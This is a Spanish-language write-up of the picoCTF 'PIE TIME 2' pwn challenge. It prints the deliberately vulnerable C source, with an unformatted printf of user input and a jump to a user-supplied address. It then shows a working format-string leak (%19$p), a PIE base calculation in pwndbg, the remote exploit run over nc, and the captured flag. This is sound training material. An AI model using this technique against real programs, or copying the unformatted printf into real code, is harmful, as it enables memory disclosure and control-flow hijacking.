PIE TIME 2

pico
pwn

August 6, 20253 minutes

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

En la función call_functions() se hace un printf del input del usuario sin especificar el formato, haciéndolo vulnerable a format strings. Después se le pide al usuario una dirección a la cual va a saltar el programa, el objetivo es saltar a la función win() para ver la flag, pero el binario tiene la protección PIE lo que hace que en cada ejecución la direcciónde win() es diferente. El primer paso es mediante la vulnerabilidad de format strings conseguir lekear una dirección de alguna función, recomiendo hacerlo desde gdb, ya que gdb siempre usa de base de pie 5555… cosa que facilita la identificación

pwndbg> r
Enter your name:%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x555555559011 0x7ffff7e0b7a0 0x7ffff7e0b7a0 (nil) (nil) 0x34000000340 0x7ffff7e0a5c0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x20702520702520 (nil) 0xdaf8a8aad29b2600 0x7fffffffe610 0x555555555441 0x7fffffffe6b0 0x7ffff7c27675 

En la posición 19 hay esta dirección: 0x555555555441. La cual apunta a main+65

pwndbg> info symbol 0x555555555441
main + 65 in section .text of /home/d3bo/Desktop/ctf/pico/pie_time_2/vuln

Para saber el offset de main+65 se le puede restar el piebase (se puede consultar con el comando piebase)

pwndbg> p/x 0x555555555441 - 0x555555554000
$1 = 0x1441

Se consigue el offset de la función win():

pwndbg> disass win
Dump of assembler code for function win:
   0x000000000000136a <+0>:	endbr64

En remoto:

[d3bo@archlinux pie_time_2]$ nc rescued-float.picoctf.net 60119
Enter your name:%19$p
0x613bc3138441
 enter the address to jump to, ex => 0x12345: 

Se le resta el offset de main+65 a la dirección lekeada para obtener la base de pie y después se le suma el offset de la función win().

>>> hex(0x613bc3138441 - 0x1441)
'0x613bc3137000'
>>> hex(0x613bc3137000 + 0x000000000000136a)
'0x613bc313836a'

Por último solo queda mandar la dirección calculada de la función win()

enter the address to jump to, ex => 0x12345: 0x613bc313836a
You won!
picoCTF{p13_5h0u1dn'7_134k_a14cf671}